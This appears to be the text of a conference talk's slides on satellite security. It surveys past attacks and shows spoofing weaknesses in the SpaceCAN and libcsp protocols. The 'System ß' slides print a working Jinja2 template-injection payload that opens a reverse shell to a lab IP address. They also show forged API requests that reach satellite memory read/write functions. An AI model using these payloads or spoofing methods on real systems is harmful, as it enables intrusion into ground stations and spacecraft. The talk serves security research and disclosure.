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Whoami
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• Independent Researcher / Security Engineer 
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Introduction



How’s satellite internet works and segments

• Space Segment 

• Ground Segment 

• Link Segment 

• Uplink 

• Downlink 

• User Segment
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Ground segment 

• Ground station is the core controller of satellite in whole lifecycle.  

• Russian attacker controlled ROSAT in 1998.9.20 

• Recently APT group set their target on satellite/telecom 

• 2018 Chinese APT group Thrip  attack telecom in US and east Asia 

• 2022 Russian APT group Fancy Bear attack ViaSat 

• 2023 Chinese APT group Volt Typhoon attack US critical 
infrastructure related to satellite 

• 2023 Iranian APT group Peach Sandstorm attacked aerospace 
industry in several regions
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ROSAT burned in atmosphere

https://archive.ph/20120414223803/http://www.businessweek.com/print/magazine/content/08_48/b4110072404167.htm
https://cyberscoop.com/symantec-thrip-satellite-hacking-trojans/
https://en.wikipedia.org/wiki/Fancy_Bear
https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/
https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/
https://www.space.com/13385-dead-german-satellite-earth-fall-indian-ocean.html


Link segment - Jamming

• Russia has attempted to use Tobol to disrupt StarLink 
transmissions in Ukraine.  

• Tobol is a large, high-power antenna that can emit a 
signal strong enough to affect signal transmission in an 
area 

• Ground  

• Aiming ground station or user terminal device to 
achieve denial of service and spoofing 

• Space  

• Malformed traffic in uplink 
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Tobol in Калинингра́дская о́бласть

https://www.thedefensepost.com/2024/04/24/russia-flight-jamming-nato/

https://www.washingtonpost.com/national-security/2023/04/18/discord-leaks-starlink-ukraine/
https://www.thedefensepost.com/2024/04/24/russia-flight-jamming-nato/


Link segment - Eavesdropping

• In 2005 & Blackhat 2020 research, they use 
DVS-B card and antenna (~$300) plus open 
source libraries to eavesdrop the 
broadcasting downlink signal among Europe  

• Found some credentials, sensitive information 
and even account/password of critical 
infrastructure in traffic if victim is using 
unencrypted protocol 

• http , pop3 , ftp 

• Able to extract some sensitive media content 
from old protocols like MPEG-2, GSM
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Whispers Among the Stars: A Practical Look at Perpetrating (and Preventing) Satellite Eavesdropping Attacks

http://www.apple.com/tw
https://www.blackhat.com/us-20/briefings/schedule/index.html#whispers-among-the-stars-a-practical-look-at-perpetrating-and-preventing-satellite-eavesdropping-attacks-19391
https://www.blackhat.com/us-20/briefings/schedule/index.html#whispers-among-the-stars-a-practical-look-at-perpetrating-and-preventing-satellite-eavesdropping-attacks-19391


User segment - ViaSat 

• On February 24th, 2022, the day of Russia’s invasion into 
Ukraine, a cyberattack disrupted broadband satellite 
internet access.  

• This attack disabled modems that communicate with 
ViaSat Inc's KA-SAT satellite network, which supplies 
internet access to tens of thousands of people in Ukraine 
and Europe. 

• AcidRain is the wiper malware targeting modem and 
routers using MIPS architecture. AcidRain wiped flash 
memory from thousands of ViaSat modem. 

• Though this malware didn’t directly attack satellite internet 
architecture but still cut victim’s satellite internet access
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AcidRain erased and stuffed sequence number to modem flash 
memory  

https://attack.mitre.org/software/S1125/
https://www.youtube.com/watch?v=qI_ICtX3Gm8


Satellite & subsystems

• Command and Data Handling (C&DH)  

• On-board computer is the brain of the satellite 

• Electrical Power and Distribution Subsystem (EPDS) 

• Attitude Determination and Control (AD&C) 

• Telemetry, Tracking, and Command (TT&C) 

• Support communication between a satellite & a ground station  

• Thermal Control Subsystem (TCS) 

• Structures and Mechanisms Subsystem (SMS) 

• Antennas
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BUS

Payload



Satellite & subsystems
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Applying HOL/PBL to Prepare Undergraduate Students into Graduate Level Studies in 
the Field of Aerospace Engineering Using the Puerto Rico CubeSat Project Initiative
Command and Data Handling Subsystem Design for the Ionospheric Observation Nanosatellite Formation (ION-F)

Standard 2U CubeSat diagramSystem level of ION-F Nanosatellite

https://www.semanticscholar.org/paper/Command-and-Data-Handling-Subsystem-Design-for-the-Jensen/969ed4d0b6ed10c3387bf839b357ff9a15002e47


Space protocols - CCSDS

• The Consultative Committee for Space Data 
Systems (CCSDS)  

• Was formed in 1982 by the major space 
agencies of the world  

• Developed data standards and information 
system frameworks data creation, transmission, 
management, and preservation as well as the 
systems supporting that data 

• Aim to cover entire OSI in space protocols
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Space protocol - ECSS

• European Cooperation for Space Standardization 

• Found by ESA and several European organization 

• Engineering standards  

• Management standards 

• Product Assurance standards 

• Sustainability standards 

• General and System documents
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https://librecube.gitlab.io/standards/spacecan/assets/ECSS-E-
ST-50-15C.pdf

https://ecss.nl/standards/active-standards/



Space segment - OPS-SAT-1 

• NanoSat MO Framework (NMF) is an open-source 
software framework for small satellites based 
on CCSDS Mission Operations services. 

• OPS-SAT is a CubeSat built by ESA and launched in 
December 2019, and the powerful OBC installed 
NMF which allowed user to control most of 
subsystems on OPS-SAT 

• Java deserialization leads to shell code injection  

• Run space-spell-root binary and bypass weak 
encryption then compromise OPS-SAT-1
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User  "exp237" process bypass supervisor’s command filter and execute arbitrary command 

By World premiere: hacking and recovery of a flying satellite

https://www.youtube.com/watch?v=sXGQWLJ8904


Open satellite projects

• Nowadays the cost of building and launching satellites , especial CubeSat , is not that 
unaffordable  

• Communities or lab students can possibly make their own satellite projects 

• Most of their software and hardware are open-sourced
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OreSat

AcubeSat FloripaSAT
https://magazine.byu.edu/article/cubesat/



Case study - SpaceCAN



SpaceCAN &

• LibreCube is an open project that aiming to create an 
ecosystem of modular components 

• They developed both hardware and software such as 
libraries for on-board computer , several space protocols 
simplified from CCSDS space protocols and ECSS 

• SpaceCAN is one of the libraries they developed which is 
simplified from ECSS-E-ST-50-15C , a CANbus extension 
protocol for internal communication
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https://librecube.gitlab.io/

https://librecube.org/

https://librecube.gitlab.io/


CANbus & Satellite 

• SMART-1 was the first ESA satellite to integrate CAN 

• Eurostar 3000 platform and OPS-SAT many more 

• As CubeSat growing, CAN bus will be wildly used by these mini satellites and cube satellites 
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https://librecube.gitlab.io/development/assets/SpaceCAN_lecture.pdf



SpaceCAN
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https://librecube.gitlab.io/development/assets/SpaceCAN_lecture.pdf

11 bits for command 8 bits for data 

Commands using CAN



SpaceCAN - node id

• When the new component(node) connects to CAN bus, SpaceCAN checks the provided 
node_id is in the range or not. 

• No register/authentication mechanism. Duplicate node_id is allowed
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// node_id=-1 

node -1node 1 node 2 node 2

Controller  
CDHS



SpaceCAN - node id & sniffing

• When the new component(node) connects to CAN bus, SpaceCAN checks the provided 
node_id is in the range or not. 

• No register/authentication mechanism. Duplicate node_id is allowed
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// node_id=-1 



SpaceCAN - can_id
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CAN Frame ID - 11 bits

Function ID (4 bits) Node ID (7 bits)

0 1 1 0 0 0 0 0 0 0 1

node_id=1
Mask 

ID_TM=0x300 + Hi , I am node 1. I sent a telemetry to you :) =



SpaceCAN - spoofing

• With the knowledge of can_id , we can easily malform the 
response TM as it’s from other node 

• There are many commands. We can spoof those 
commands without data.
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node -1node 1 node 2 node 1

Controller  
CDHS

TeleCommand , please respond



SpaceCAN - spoofing in Housekeeping

• Only allowed responder send telemetry to controller     

• TC[3,5] Housekeeping  

• Ask responder to send TM from time to time
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node -1node 1 node 2 node 1

Controller  
CDHS

Hi, this is telemetry from node 1

https://librecube.gitlab.io/



SpaceCAN - packet splitting

• In CAN frame , Data field is only 8 bytes 

• If data for a TM is larger than 8 bytes, 
SpaceCAN splits data into frames 
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Packet data([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14])

2 0 1 2 3 4 5 6Frame 1 :

Frame 2 :

Frame 3 :

2 1 7 8 9 10 11 12

2 2 13 14

Total frame Frame index from 0



SpaceCAN - packet assembling
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• No additional validation in Assembler 

• Assembled packets are delivered in order 
and in the same time  

• Could not jump in line 

• Only return when length = total_frames 

• No further check between index & 
total_frames

Check total frame

Create buffer if no

Assemble data and return



SpaceCAN - packet assembling
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• Attack method 

• Just send malformed data  

• Super strange if there is no TC but TM Check total frame

Create buffer if no

Assemble data and return

2 0 9 9 9 9 9 9

2 1 8 8 8 8 8 8

Time

2 2 8 8 8 8 8 8



SpaceCAN - packet assembling
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• Attack method 

• Overwrite part of data 

• Fulfill length=total_frames 

• Manipulate data apart from the first one

Check total frame

Create buffer if no

Assemble data and return

2 0 1 2 3 4 5 6

2 12 9 9 9 9 9 9

2 7 8 8 8 8 8 8

2 1 7 8 9 10 11 12

2 2 13 14

Time

}



SpaceCAN - frame overwrite

• Overwriting might just be more practical because attacker might not know when controller 
will receive a TC and ask for 8 bytes longer response on  

• Attacker must know the victim node number and data format  

• Housekeeping is the one that keeps running 
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Normal (voltage=0)

Overwrited (voltage=48.5)



Demo
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Case study - ß



Libcsp

• Cubesat Space Protocol (CSP)  

• C library 

• https://github.com/libcsp/libcsp 

• Small network-layer delivery protocol designed for Cubesat 

• Open source 

• Widely used by libraries and satellites project such as GomSpace 
GATOSS GOMX-1 , AAUSAT3 , EgyCubeSat , EuroLuna , Hawaiian 
Space Flight Laboratory…
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https://github.com/libcsp/libcsp



Known vulnerabilities in Libcsp

• Libcsp is also used in OPS-SAT(ESA)  

• Johannes Willbold in BHUS23 shares that in Libcsp ,  CRC and HMAC doesn't protect headers 

• In the latest version 2 , they still keep it for backward compatibility 
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https://en.wikipedia.org/wiki/Cubesat_Space_Protocol

https://github.com/libcsp/libcsp/blob/a6b1a02988d879e123f1936b56564989890e3571/src/csp_crc32.c#L125

https://i.blackhat.com/BH-US-23/Presentations/US-23-Willbold-HoustonWehaveaProblem.pdf


Libcsp - CRC32

• CRC table is hard-coded  

• Found other libraries that import libcsp doesn’t 
change that CRC table 

• Spoofing!! 

• If CRC is the only security option(?) 

• CRC doesn’t validate header 

• Even it validates header, you can create any valid 
packets with this hard-coded CRC table
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https://github.com/libcsp/libcsp/blob/a6b1a02988d879e123f1936b56564989890e3571/src/csp_crc32.c#L14



Libcsp - Peek & Poke Root  

• CSP Management Protocol (CMP) is our playground now assigned 

• Provide functions for read/write/fetch system information and memory
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Read memory address

https://github.com/libcsp/libcsp/blob/2dfaf8be6ae725578e3fd833beef73c5478a6f80/src/csp_service_handler.c#L109

Overwrite memory address



System ß

• A ground station system 

• 3 layers system 

• CSP endpoint  

• Send commands to satellite ; Written in C 

• Middleware  

• Auth check, log and transferring ; Written in Python 

• Web service  

• Human interface ; Written in Python
36

Web service

Middleware

CSP endpoint

Listener

api calls

ZMQ
Decode

ZMQ
Encode

api calls

Auth check Auth check

=

Operator Engineer Admin



System ß - web service

• 3 roles 

• Operator - mostly monitoring , few functions 

• Engineer - API key, monitoring , functions 

• Admin - API key, firmware update, management, functions
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Web service

Middleware

CSP endpoint

Listener

api calls

ZMQ
Decode

ZMQ
Encode

api calls

Auth check Auth check

=

Operator Engineer Admin

Account:

Password:

Api-key:

hehehe@hehe.com

***************

Ic8k5ollfpw0jg@k



System ß - SSTI

• Server-Side Template Injection 

• Attacker can inject malicious code into a template that is 
executed on the server 

• Python Flask + jinja2 is common in CTF in few years  

• Easy test cases  

• {{7*7}} , {{ "hello"|upper }}  

• Jinja2 sandbox provides protection for abusing python 
internal functions
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With jinja2 sandbox



System ß - SSTI

• Jinja2 sandbox is also common in real world 
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{{7*7}}

>> 49

{{request.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}} 

>> Error: access to attribute '__init__' of 'Undefined' object is unsafe
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Credit: Friends



System ß - SSTI

• It probably filters "{{" and "}}" (for security I guess) instead of 
using jinja2 sandbox !! 

• "{%" "%}" is also available for SSTI
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{% if 7*7 == 49 %}True{% else %}False{% endif %}

>> True

{% for c in ().__class__.__base__.__subclasses__() %} 

    {% if c.__name__ == 'catch_warnings' %} 

        {{ c }} 

    {% endif %} 

{% endfor %}

>> <class 'warnings.catch_warnings'>
Credit: Hunter x Hunter
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{% for x in ().__class__.__base__.__subclasses__() %} 

  {% if "warning" in x.__name__ %} 

    {{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import 

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conne

ct((\\"192.168.124.128\\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 

os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\", \\"-i\\"]);'")}} 

  {%endif%} 

{% endfor %}

Final payload - RCE on Web service



System ß - Middleware

• Dump Web code and DB with hardcoded password  

• api-key is also synced to Middleware for auth and log 

• No protection between CSP endpoint and Middle
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Web service

Middleware

CSP endpoint

Listener

api calls

ZMQ
Decode

ZMQ
Encode

api calls

Auth check Auth check

=

Operator Engineer Admin

POST /register 

Host: 10.0.2.4 

Token: od83400Z@56-po6liw9pfpgo 

..[SNIP].. 

{ 

"userkey":"49!mvkr9toisSPE",   

"role":"po6liw9pfpgo"  

}

{api-key}-{role}

{default key}  



System ß - Admin and Peek/Poke

• To trigger peek and poke functions in web, the second 
admin api-key is required as a peer review 

• With DB credentials , finally we can send Peek/Poke
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Web service

Middleware

CSP endpoint

Listener

api calls

ZMQ
Decode

ZMQ
Encode

api calls

Auth check Auth check

=

Operator Engineer Admin

POST /fetch_address 

Host: 10.0.2.4 

Token: d2yntRY6PF13k36CLw3N-PyCypEUDB7E4xgusPJaA 

..[SNIP].. 

{ 

"userkey":"dgT1F#?QqQf]wuXjHFv=",   

"role":"PyCypEUDB7E4xgusPJaA", 

"address":"97a9e000"  

}

{admin1 api-key}-{admin role key}

{admin2 api-key}



System ß - What do I have so far?

• SSTI lead to RCE on Web service 

• Create/Search valid api-key and role key to pass the 
middleware validation  

• CRC/HMAC incomplete protection 

• Not able to touch CSP endpoint due to isolation  

• Dangerous CSP management protocol - Peek and Poke
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Web service

Middleware

CSP endpoint

Listener

api calls

ZMQ
Decode

ZMQ
Encode

api calls

Auth check Auth check

=

Operator Engineer Admin

RCE , DoS and persistence in satellite or spacecraft!!!! 



Takeaway



Takeaway

• Wide attack phase in satellite services 

• space segment , user segment, link segment , ground segment 

• Space protocols lack of security design  

• Weak encryptions (probably) due to power consumption or other reasons 

• Usually no internal validation  

• Ground station system is still the critical part of satellite security 

• Potential security issues in open projects
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Thanks for your listening

Email : wafflept@gmail.com
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mailto:wafflept@gmail.com

